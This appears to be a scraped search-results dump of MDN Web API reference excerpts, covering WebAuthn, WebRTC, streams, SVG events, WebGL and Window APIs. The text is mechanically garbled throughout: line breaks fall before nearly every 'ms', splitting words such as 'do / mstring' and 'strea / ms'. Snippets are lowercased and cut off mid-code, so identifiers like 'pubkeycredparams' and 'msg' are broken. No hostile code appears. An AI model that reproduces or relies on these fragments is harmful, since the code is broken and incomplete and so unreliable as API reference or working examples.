msg + "\n" + p.innerhtml; } specifications specification status comment pointer events – level 2the definition of 'pointerevent' in that specification.
Pointer events - Web APIs
additionally, a pointer event contains the usual properties present in mouse events (client coordinates, target element, button states, etc.) in addition to new properties for other for
ms of input: pressure, contact geometry, tilt, etc.
ProcessingInstruction - Web APIs
n" target="_top"><rect x="436" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="541" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">processinginstruction</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties target (do
mstring) read only a name identifying the application to which the instruction is targeted, specification specification status comment domthe definition of 'processinginstruction' in that specification.
ProgressEvent.initProgressEvent() - Web APIs
do not use it anymore, use the standard constructor, progressevent(), to create a synthetic progressevent syntax progress.initprogressevent(typearg, canbubblearg, cancelablearg, lengthcomputable, loaded, total); parameters typearg is a do
mstring identifying the specific type of animation event that occurred.
PromiseRejectionEvent() - Web APIs
this can be anything from a numeric error code to an error do
mstring to an object which contains detailed information describing the situation resulting in the promise being rejected.
PromiseRejectionEvent.promise - Web APIs
window.onunhandledrejection = function(event) { if (event.reason.code && event.reason.code == "module not ready") { window.requestidlecallback(function(deadline) { loadmodule(event.reason.modulename) .then(perfor
mstartup); }); event.preventdefault(); } } specifications specification status comment html living standardthe definition of 'promiserejectionevent.promise' in that specification.
PublicKeyCredential.getClientExtensionResults() - Web APIs
been defined to include location information in attestation "uvi": true // user verification index: how the user was verified }, challenge: new uint8array(16) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /* from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var mybuffer = newcredentialinfo.getclientextensionresults(); // mybuffer will contain the result of any of the processing of the "loc" and "uvi" extensions }).catch(function (err) { console.error(err); }); specifications spe...
PublicKeyCredential.rawId - Web APIs
examples var options = { challenge: new uint8array(26) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey: options }) .then(function (pubkeycredential) { var rawid = pubkeycredential.rawid; // do something with rawid }).catch(function (err) { // deal with any error }); specifications specification status comment web authentication: an api for accessing pu...
PublicKeyCredential.response - Web APIs
examples var options = { challenge: new uint8array(16) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /* from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey: options }) .then(function (pubkeycredential) { var response = pubkeycredential.response; var clientextresults = pubkeycredential.getclientextensionresults(); // send response and client extensions to the server so that it can validate // and create credentials }).catch(func...
PublicKeyCredential - Web APIs
var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var response = newcredentialinfo.response; var clientextensionsresults = newcredentialinfo.getclientextensionresults(); }).catch(function (err) { console.error(err); }); getting an existing instance of publickeycredential here, we fet...
PublicKeyCredentialCreationOptions.attestation - Web APIs
examples var publickey = { attestation: "indirect", challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment...
PublicKeyCredentialCreationOptions.authenticatorSelection - Web APIs
torattachment: "cross-platform", requireresidentkey: true, userverification: "required" }, challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment ...
PublicKeyCredentialCreationOptions.challenge - Web APIs
examples var publickey = { challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment...
PublicKeyCredentialCreationOptions.excludeCredentials - Web APIs
, // the id for john-doe@example.com id : new uint8array(26) /* another id */ } ], challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment ...
PublicKeyCredentialCreationOptions.extensions - Web APIs
var publickey = { extensions:{ uvi: true, loc: false, uvm: false, exts: true }, challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // mybuffer will contain the result of any of the processing of the extensions var mybuffer = newcredentialinfo.getclientextensionresults(); // send attestation response and client extensions // to the server to proceed with the registration // o...
PublicKeyCredentialCreationOptions.timeout - Web APIs
challenge: new uint8array(26) /* this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredpara
ms: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment...
PushManager.subscribe() - Web APIs
applicationserverkey: a base64-encoded do
mstring or arraybuffer containing an ecdsa p-256 public key that the push server will use to authenticate your application server.
PushMessageData - Web APIs
examples self.addeventlistener('push', function(event) { var obj = event.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { firenotification(obj, event); port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chat
msg') { port.postmessage(obj); } }); specifications specification status comment push apithe definition of 'pushmessagedata' in that specification.
PushSubscription - Web APIs
pushsubscription.subscriptionid read only a do
mstring containing the subscription id associated with the push subscription.
RTCConfiguration.iceTransportPolicy - Web APIs
syntax let rtcconfiguration = { icetransportpolicy: policy }; rtcconfiguration.icetransportpolicy = policy; let policy = rtcconfiguration.icetransportpolicy; value a do
mstring which indicates what ice candidate policy the ice agent should use during the negotiation process, per the jsep standard.
RTCDTMFSender - Web APIs
="151" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="216" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcdtmfsender</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties rtcdtmfsender.tonebuffer read only a do
mstring which contains the list of dtmf tones currently in the queue to be transmitted (tones which have already been played are no longer included in the string).
RTCDataChannel.readyState - Web APIs
example var datachannel = peerconnection.createdatachannel("file transfer"); var sendqueue = []; function sendmessage(
msg) { switch(datachannel.readystate) { case "connecting": console.log("connection not open; queueing: " +
msg); sendqueue.push(
msg); break; case "open": sendqueue.foreach((
msg) => datachannel.send(
msg)); break; case "closing": console.log("attempted to send message while closing: " +
msg); break; case "closed": console.log("error!
RTCDataChannel.send() - Web APIs
var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("backchannel"); function sendmessage(
msg) { let obj = { "message":
msg, "timestamp": new date() } dc.send(json.stringify(obj)); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.send()' in that specification.
RTCDataChannelEvent() - Web APIs
syntax var event = new rtcdatachannelevent(type, rtcdatachanneleventinit); parameters type a do
mstring which specifies the name of the event.
RTCError - Web APIs
properties in addition to the properties defined by the parent interface, domexception, rtcerror includes the following properties: errordetail read only a do
mstring specifying the webrtc-specific error code identifying the type of error that occurred.
RTCErrorEvent.error - Web APIs
additional properties defined by rtcerror are: errordetail read only a do
mstring specifying the webrtc-specific error code identifying the type of error that occurred.
RTCIceCandidate.component - Web APIs
syntax var component = rtcicecandidate.component; value a do
mstring which is "rtp" for rtp (or rtp and rtcp multiplexed together) candidates or "rtcp" for rtcp candidates.
RTCIceCandidate.foundation - Web APIs
as such, the foundation can be used to correlate candidates that are present on multiple rtcicetransport objects syntax var foundation = rtcicecandidate.foundation; value a do
mstring which uniquely identifies the candidate across all rtcicetransports on which it is available.
RTCIceCandidate.relatedPort - Web APIs
the related address (relatedaddress) and port are not used at all by ice itself; they are provided for analysis and diagnostic purposes only, and their inclusion may be blocked by security syste
ms, so do not rely on them having non-null values.
RTCIceCandidate.tcpType - Web APIs
syntax var tcptype = rtcicecandidate.tcptype; value a do
mstring whose value is one of those defined by the rtcicetcpcandidatetype enumerated type.
RTCIceCandidate.type - Web APIs
syntax var type = rtcicecandidate.type; value a do
mstring whose value is one of those defined by the rtcicecandidatetype enumerated type.
RTCIceCandidateInit.sdpMid - Web APIs
value a do
mstring which uniquely identifies the source media component from which the candidate draws data, or null if no such association exists for the candidate.
RTCIceCandidateInit.usernameFragment - Web APIs
value a do
mstring containing the username fragment (usually referred to in shorthand as "ufrag" or "ice-ufrag") that, along with the ice password ("ice-pwd"), uniquely identifies a single ongoing ice interaction, including for any communication with the stun server.
RTCIceCandidateStats.localCandidateId - Web APIs
syntax localcandidateid = rtcicecandidatepairstats.localcandidateid; value a do
mstring giving a unique identifier for the local rtcicecandidate for the connection described by this rtcicecandidatepairstats object.
RTCIceCandidatePairStats.nominated - Web APIs
once a candidate pair has been nominated and the two peers have each reconfigured the
mselves to use the specified configuration, the ice negotiation process can potentially end (or it can continue, to allow the connection to adapt to changing conditions).
RTCIceCandidatePairStats.remoteCandidateId - Web APIs
syntax remotecandidateid = rtcicecandidatepairstats.remotecandidateid; value a do
mstring uniquely identifies the remote ice candidate—that is, the candidate describing a configuration for the remote peer—which is represented by the remote end of these statistics.
RTCIceCandidatePairStats.transportId - Web APIs
syntax transportid = rtcicecandidatepairstats.transportid; value a do
mstring which uniquely identifies the rtcicetransport object from which the transport-related data was obtained for the statistics contained in this rtcicecandidatepairstats object.
RTCIceCandidateStats.candidateType - Web APIs
syntax candidatetype = rtcicecandidatestats.candidatetype; value a do
mstring whose value is one of the strings found in the rtcicecandidatetype enumerated type:host the candidate is a host candidate, whose ip address as specified in the rtcicecandidate.ip property is in fact the true address of the remote peer.
RTCIceCandidateStats.transportId - Web APIs
syntax transportid = rtcicecandidatestats.transportid; value a do
mstring whose value uniquely identifies the transport from which any transport-related information accumulated in the rtcicecandidatestats was taken.
RTCIceCandidateStats.url - Web APIs
syntax url = rtcicecandidatestats.url; value a do
mstring specifying the url of the ice server from which the candidate described by the rtcicecandidatestats was obtained.
RTCIceCandidateType - Web APIs
the webrtc api's rtcicecandidatetype enumerated type provides a set of do
mstring values representing the types of ice candidate that can arrive.
RTCIceComponent - Web APIs
the webrtc api's rtcicecomponent enumerated type contains do
mstring values that each identify a specific ice component; these are "rtp" and "rtcp".
RTCIceParameters.password - Web APIs
syntax password = rtciceparameters.password; value a do
mstring containing the password that corresponds to the transport's usernamefragment string specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtciceparameters.password' in that specification.
RTCIceParameters.usernameFragment - Web APIs
syntax ufrag = rtciceparameters.usernamefragment; value a do
mstring containing the username fragment that, in tandem with the password, uniquely identify the ice session being used by the transport.
RTCIceProtocol - Web APIs
the webrtc api's rtciceprotocol enumerated type provides a set of do
mstring values representing the names of the transport protocols ice candidates can use.
RTCIceServer.url - Web APIs
}; var serverurl = iceserver.url; iceserver.url = iceserverurl; the value of this property is a do
mstring containing the full url of a server to use during ice negotiation.
RTCIceServer - Web APIs
urls this required property is either a single do
mstring or an array of do
mstrings, each specifying a url which can be used to connect to the server.
RTCIceTcpCandidateType - Web APIs
the webrtc api's rtcicetcpcandidatetype enumerated type provides a set of do
mstring values representing the types of tcp candidates.
RTCIceTransport.component - Web APIs
syntax icecomponent = rtcicetransport.component; value a do
mstring whose value comes from the enumerated type rtcicecomponent: "rtp" identifies an ice transport which is being used for the real-time transport protocol (rtp), or for rtp multiplexed with the rtp control protocol (rtcp).
RTCIceTransport.gatheringState - Web APIs
the read-only rtcicetransport property gatheringstate returns a do
mstring from the enumerated type rtcicegathererstate that indicates what gathering state the ice agent is currently in: "new", "gathering", or "complete".
RTCRtpTransceiver.stop() - Web APIs
usage notes when you call stop() on a transceiver, the sender immediately stops sending media and each of its rtp strea
ms are closed using the rtcp "bye" message.
RTCRtpTransceiver - Web APIs
this pairing of send and receive srtp strea
ms is significant for some applications, so rtcrtptransceiver is used to represent this pairing, along with other important state from the media section.
RTCRtpTransceiverInit - Web APIs
strea
ms optional a list of mediastream objects to add to the transceiver'srtcrtpreceiver; when the remote peer's rtcpeerconnection's track event occurs, these are the strea
ms that will be specified by that event.
RTCSessionDescription() - Web APIs
syntax sessiondescription = new rtcsessiondescription(rtcsessiondescriptioninit); values rtcsessiondescriptioninit optional an object providing the default values for the session description; the object confor
ms to the rtcsessiondescriptioninit dictionary.
RTCSessionDescriptionCallback - Web APIs
because this function type is part of the legacy webrtc api, you should avoid using it (and the callback-based for
ms of createoffer() and createanswer() that make use of it).
RTCStats.id - Web APIs
syntax var id = rtcstats.id; value a do
mstring which uniquely identifies the object for which this rtcstats-based object provides statistics.
RTCStats.type - Web APIs
syntax var type = rtcstats.type; value a do
mstring which specifies which type of statistic is represented by the object.
RTCTrackEvent() - Web APIs
strea
ms optional an array of mediastream objects representing each of the strea
ms that comprise the event's corresponding track.
RTCTrackEventInit.receiver - Web APIs
syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, strea
ms: [videostream], transceiver: rtptransceiver }; var rtpreceiver = trackeventinit.receiver; value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent.
RTCTrackEventInit.track - Web APIs
syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, strea
ms: [videostream], transceiver: rtptransceiver }; var track = trackeventinit.track; value a mediastreamtrack representing the track with which the event is associated.
RTCTrackEventInit.transceiver - Web APIs
syntax var trackeventinit = { receiver: rtpreceiver, track: mediastreamtrack, strea
ms: [videostream], transceiver: rtptransceiver }; var rtptransceiver = trackeventinit.transceiver; value the rtcrtptransceiver which pairs the receiver with a sender and other properties which establish a single bidirectional srtp stream for use by the track associated with the rtctrackevent.
RTCTrackEventInit - Web APIs
strea
ms optional an array of mediastream objects representing each of the strea
ms that comprise the event's corresponding track.
ReadableStreamDefaultController.close() - Web APIs
ick', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment strea
msthe definition of 'close()' in that specification.
ReadableStreamDefaultController.enqueue() - Web APIs
ick', function() { clearinterval(interval); fetchstream(); controller.close(); }) }, pull(controller) { // we don't really need a pull in this example }, cancel() { // this is called if the reader cancels, // so we should stop generating strings clearinterval(interval); } }); specifications specification status comment strea
msthe definition of 'enqueue()' in that specification.
RenderingContext - Web APIs
by using the shorthand renderingcontext, methods and properties which can make use of any of these interfaces can be specified and written more easily; since <canvas> supports several rendering syste
ms, it's helpful from a specification and browser implementation perspective to have a shorthand that means "one of these interfaces." as such, renderingcontext is an implementation detail, and isn't something web developers directly use.
Reporting API - Web APIs
concepts and usage there are a number of different features and proble
ms on the web platform that generate information useful to web developers when they are trying to fix bugs or improve their websites in other ways.
Request() - Web APIs
body: any body that you want to add to your request: this can be a blob, buffersource, formdata, urlsearchpara
ms, usvstring, or readablestream object.
Request - Web APIs
uctor with some initial data and body content for an api request which need a body payload: const request = new request('https://example.com', {method: 'post', body: '{"foo": "bar"}'}); const url = request.url; const method = request.method; const credentials = request.credentials; const bodyused = request.bodyused; note: the body type can only be a blob, buffersource, formdata, urlsearchpara
ms, usvstring or readablestream type, so for adding a json object to the payload you need to stringify that object.
Resize Observer API - Web APIs
the resize observer api provides a solution to exactly these kinds of proble
ms, and more besides, allowing you to easily observe and respond to changes in the size of an element’s content or border box in a performant way.
Using the Resource Timing API - Web APIs
performance data buffer not cleared (still have `" + p.length + "` ite
ms"); } function set_resource_timing_buffer_size(n) { if (performance === undefined) { console.log("= performance.setresourcetimingbuffersize(): peformance not supported"); return; } // check if performance.setresourcetimingbuffersize() is supported console.log ("= performance.setresourcetimingbuffersize()"); var supported = typeof performance.setresourcetimingbuffersize == "funct...
Response() - Web APIs
this can be null (which is the default value), or one of: blob buffersource formdata readablestream urlsearchpara
ms usvstring init optional an options object containing any custom settings that you want to apply to the response, or an empty object (which is the default value).
format - Web APIs
the svgaltglyphelement.format property is a do
mstring that defines the format of the given font.
SVGAngle - Web APIs
valueasstring the value as a do
mstring value, in the units expressed by unittype.
SVGAnimationElement: beginEvent event - Web APIs
lector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); animateelem.addeventlistener('beginevent', () => { let listitem = document.createelement('li'); listitem.textcontent = 'beginevent fired'; list.appendchild(listitem); }) animateelem.addeventlistener('repeatevent', (e) => { let listitem = document.createelement('li'); let
msg = 'repeatevent fired'; if(e.detail) {
msg += '; repeat number: ' + e.detail; } listitem.textcontent =
msg; list.appendchild(listitem); }) event handler property equivalent note that you can also create an event listener for the begin event using the onbegin event handler property: animateelem.onbegin = () => { console.log('beginevent fired'); } specifications speci...
SVGAnimationElement: endEvent event - Web APIs
listitem = document.createelement('li'); listitem.textcontent = 'beginevent fired'; list.appendchild(listitem); }) animateelem.addeventlistener('endevent', () => { let listitem = document.createelement('li'); listitem.textcontent = 'endevent fired'; list.appendchild(listitem); }) animateelem.addeventlistener('repeatevent', (e) => { let listitem = document.createelement('li'); let
msg = 'repeatevent fired'; if(e.detail) {
msg += '; repeat number: ' + e.detail; } listitem.textcontent =
msg; list.appendchild(listitem); }) btn.addeventlistener('click', () => { btn.disabled = true; animateelem.setattribute('repeatcount', '1'); }) event handler property equivalent note that you can also create an event listener for the end event using the onend event handler p...
SVGAnimationElement: repeatEvent event - Web APIs
elector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); animateelem.addeventlistener('beginevent', () => { let listitem = document.createelement('li'); listitem.textcontent = 'beginevent fired'; list.appendchild(listitem); }) animateelem.addeventlistener('repeatevent', (e) => { let listitem = document.createelement('li'); let
msg = 'repeatevent fired'; if(e.detail) {
msg += '; repeat number: ' + e.detail; } listitem.textcontent =
msg; list.appendchild(listitem); }) event handler property equivalent note that you can also create an event listener for the repeat event using the onrepeat event handler property: animateelem.onrepeat = () => { console.log('repeatevent fired'); } specifications s...
SVGElement - Web APIs
as,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement, svgelementinstance svgelement.datasetread only a do
mstringmap object which provides a list of key/value pairs of named data attributes which correspond to custom data attributes attached to the element.
Screen.lockOrientation() - Web APIs
examples usage with a do
mstring argument screen.lockorientationuniversal = screen.lockorientation || screen.mozlockorientation || screen.
mslockorientation; if (screen.lockorientationuniversal("landscape-primary")) { // orientation was locked } else { // orientation lock failed } usage with an array argument screen.lockorientationuniversal = screen.lockorientation || screen.mozlockorientation || screen.
mslockorient...
Screen.unlockOrientation() - Web APIs
example var unlockorientation = screen.unlockorientation || screen.mozunlockorientation || screen.
msunlockorientation || (screen.orientation && screen.orientation.unlock); if (unlockorientation()) { // orientation was unlocked } else { // orientation unlock failed } specifications specification status comment screen orientation apithe definition of 'lockorientation()' in that specification.
Screen - Web APIs
void seteventhandler(do
mstring type, eventhandler handler) eventhandler geteventhandler(do
mstring type) example if (screen.pixeldepth < 8) { // use low-color version of page } else { // use regular, colorful page } specification specification status comment css object model (cssom) view modulethe definition of 'screen' in that specification.
ScriptProcessorNode - Web APIs
if the buffer size is not defined, which is recommended, the browser will pick one that its heuristic dee
ms appropriate.
Sensor APIs - Web APIs
therefore, feature detection for sensor apis must include both detection of the apis the
mselves and defensive programming strategies (see below).
Storage API - Web APIs
the "persistent-storage" feature's permission-related flags, algorith
ms, and types are all set to the standard defaults for a permission, except that the permission state must be the same across the entire origin, and that if the permission state isn't "granted" (meaning that for whatever reason, access to the persistent storage feature was denied), the origin's site storage unit's box mode is always "best-effort".
Using the Storage Access API - Web APIs
// let's access some ite
ms from the first-party cookie jar document.cookie = "foo=bar"; // set a cookie localstorage.setitem("username", "john"); // access a localstorage entry }).catch(_ => { // error obtaining storage access.
Storage Access API - Web APIs
specifics regarding the lifetime of a storage grant and the circu
mstances under which the browser may decide to inform the user are currently being worked through and will be announced once ready.
SubmitEvent() - Web APIs
syntax let submitevent = new submitevent(type,eventinitdict); parameters type a do
mstring indicating the event which occurred.
SyncManager.getTags() - Web APIs
}) returns a promise that resolves to an array of do
mstrings containing developer-defined identifiers for syncmanager registrations.
Text() - Web APIs
the text() constructor returns a newly created text object with the optional do
mstring given in parameter as its textual content.
Text.wholeText - Web APIs
what we have now is this: <p>thru-hiking is great, but <a href="http://en.wikipedia.org/wiki/absentee_ballot">casting a ballot</a> is tricky.</p> some uses of the whole-text functionality may be better served by using node.textcontent, or the longstanding element.innerhtml; that’s fine and probably clearer in most circu
mstances.
TextDecoder.prototype.decode() - Web APIs
the textdecoder.prototype.decode() method returns a do
mstring containing the text, given in parameters, decoded with the specific method for that textdecoder object.
TextEncoder.encoding - Web APIs
the textencoder.encoding read-only property returns a do
mstring containing the name of the encoding algorithm used by the specific encoder.
TextRange - Web APIs
textrange.querycommandvalue() returns the do
mstring indicating the current value of the specified command.
TextTrack.mode - Web APIs
syntax var mode = texttrack.mode; texttrack.mode = "disabled" | "hidden" | "showing"; value a do
mstring which indicates the track's current mode.
WebGLRenderingContext.vertexAttribPointer() - Web APIs
er(2, 2, gl.unsigned_short, true, 20, 16); gl.enablevertexattribarray(2); //set the attributes in the vertex shader to the same indices gl.bindattriblocation(shaderprogram, 0, 'position'); gl.bindattriblocation(shaderprogram, 1, 'normal'); gl.bindattriblocation(shaderprogram, 2, 'texuv'); //since the attribute indices have changed, we must re-link the shader //note that this will reset all unifor
ms that were previously set.
Color masking - Web APIs
similarly, masking only green would give us shades of magenta (also purples, cri
msons, and so on), and masking only red would give shades of cyan (also sea greens, blues, and so on).
Scissor animation - Web APIs
note that this time it is the position of the square (the scissoring area) that is updated every frame (we set frame rate to roughly one every 17
ms, or roughly 60fps – frames per second).
Getting started with WebGL - Web APIs
webgl progra
ms consist of control code written in javascript and shader code (glsl) that is executed on a computer's graphics processing unit (gpu).
Lighting in WebGL - Web APIs
gl.uniformmatrix4fv( programinfo.uniformlocations.normalmatrix, false, normalmatrix); update the shaders now that all the data the shaders need is available to them, we need to update the code in the shaders the
mselves.
WebGL tutorial - Web APIs
webgl progra
ms consist of control code written in javascript and special effects code (shader code) that is executed on a computer's graphics processing unit (gpu).
WebRTC coding guide - Web APIs
how do you create a web application that uses two-way video or data strea
ms without having to do all the hard work of compressing frames, building strea
ms, and so forth by yourself?
A simple RTCDataChannel sample - Web APIs
function handlereceivemessage(event) { var el = document.createelement("p"); var txtnode = document.createtextnode(event.data); el.appendchild(txtnode); receivebox.appendchild(el); } this method simply perfor
ms some basic dom injection; it creates a new <p> (paragraph) element, then creates a new text node containing the message text, which is received in the event's data property.
Using WebRTC data channels - Web APIs
in order to resolve this issue, a new system of stream schedulers (usually referred to as the "sctp ndata specification") has been designed to make it possible to interleave messages sent on different strea
ms, including strea
ms used to implement webrtc data channels.
Basic concepts behind Web Audio API - Web APIs
fan-in and fan-out in audio ter
ms, fan-in describes the process by which a channelmergernode takes a series of mono input sources and outputs a single multi-channel signal: fan-out describes the opposite process, whereby a channelsplitternode takes a multi-channel input source and outputs multiple mono output signals: ...
Visualizations with Web Audio API - Web APIs
from your audio source, you need an analysernode, which is created using the audiocontext.createanalyser() method, for example: var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); this node is then connected to your audio source at some point between your source and your destination, for example: source = audioctx.createmediastrea
msource(stream); source.connect(analyser); analyser.connect(distortion); distortion.connect(audioctx.destination); note: you don't need to connect the analyser's output to another node for it to work, as long as the input is connected to the source, either directly or via another node.
Attestation and Assertion - Web APIs
that is, all "sa
msung galaxy s8" phones, manufactured at a specific time or particular manufacturing run, have the same attestation certificate.
Web Crypto API - Web APIs
the web crypto api is an interface allowing a script to use cryptographic primitives in order to build syste
ms using cryptography.
Web Locks API - Web APIs
note that such deadlocks only affect the locks the
mselves and code depending on them; the browser, other tabs, and other script in the page is not affected.
Web Speech API - Web APIs
grammar is defined using jspeech grammar format (jsgf.) speech synthesis is accessed via the speechsynthesis interface, a text-to-speech component that allows progra
ms to read out their text content (normally via the device's default speech synthesiser.) different voice types are represented by speechsynthesisvoice objects, and different parts of text that you want to be spoken are represented by speechsynthesisutterance objects.
Web Workers API - Web APIs
but you can use a large number of ite
ms available under window, including websockets, and data storage mechanis
ms like indexeddb.
WheelEvent() - Web APIs
syntax var wheelevent = new wheelevent(typearg, wheeleventinit); properties typearg is a do
mstring representing the name of the event.
window.cancelAnimationFrame() - Web APIs
examples var requestanimationframe = window.requestanimationframe || window.mozrequestanimationframe || window.webkitrequestanimationframe || window.
msrequestanimationframe; var cancelanimationframe = window.cancelanimationframe || window.mozcancelanimationframe; var start = window.mozanimationstarttime; // only supported in ff.
Window.crypto - Web APIs
syntax var cryptoobj = window.crypto || window.
mscrypto; // for ie 11 value an instance of the crypto interface, providing access to general-purpose cryptography and a strong random-number generator.
Window.defaultStatus - Web APIs
syntax var s
msg = window.defaultstatus; window.defaultstatus = s
msg; parameters s
msg is a string containing the text to be displayed by default in the statusbar.
Window: error event - Web APIs
v class="controls"> <button id="script-error" type="button">generate script error</button> <img class="bad-img" /> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-ite
ms: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } button { height: 2rem; margin: .5rem; } img { width: 0; height: 0; } js const log = document.queryselector('.event-log-contents'); window.addeventlistener('error', (event) => { log.textcontent = log.textcontent + `${event.type}: $...
Window.frames - Web APIs
it is similar to an array in that it has a length property and its ite
ms can be accessed using the [i] notation.
Window: load event - Web APIs
is fully loaded'); }; live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-ite
ms: center; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } js const log = document.queryselector('.event-log-contents'); const reload = document.queryselector('#reload'); reload.addeventlistener('click', () => { log.textcontent =''; window.settimeout(() => { windo...
Window.name - Web APIs
indow.name; window.name = string; example <script> // open a tab with a specific browsing context name const othertab = window.open("url1", "_blank"); if (othertab) othertab.name = "other-tab"; </script> <a href="url2" target="other-tab">this link will be opened in the other tab.</a> notes the name of the window is used primarily for setting targets for hyperlinks and for
ms.
Window.navigator - Web APIs
if (susrag.indexof("firefox") > -1) { sbrowser = "mozilla firefox"; // "mozilla/5.0 (x11; ubuntu; linux x86_64; rv:61.0) gecko/20100101 firefox/61.0" } else if (susrag.indexof("sa
msungbrowser") > -1) { sbrowser = "sa
msung internet"; // "mozilla/5.0 (linux; android 9; sa
msung sm-g955f build/ppr1.180610.011) applewebkit/537.36 (khtml, like gecko) sa
msungbrowser/9.4 chrome/67.0.3396.87 mobile safari/537.36 } else if (susrag.indexof("opera") > -1 || susrag.indexof("opr") > -1) { sbrowser = "opera"; // "mozilla/5.0 (macintosh; intel mac os x 10_14_0) applewebkit/537.36 (k...
Window.scrollX - Web APIs
in more technical ter
ms, scrollx returns the x coordinate of the left edge of the current viewport.
Window.setImmediate() - Web APIs
settimeout(fn, 0) can potentially be used, however as it is clamped to 4
ms for timers nested more than 5 levels deep per the html spec, it does not make for a suitable polyfill for the natural immediacy of setimmediate.
Window - Web APIs
however, the window interface is a suitable place to include these ite
ms that need to be globally available.
WindowOrWorkerGlobalScope.atob() - Web APIs
you can use the btoa() method to encode and transmit data which may otherwise cause communication proble
ms, then transmit it and use the atob() method to decode the data again.
WindowOrWorkerGlobalScope.clearTimeout() - Web APIs
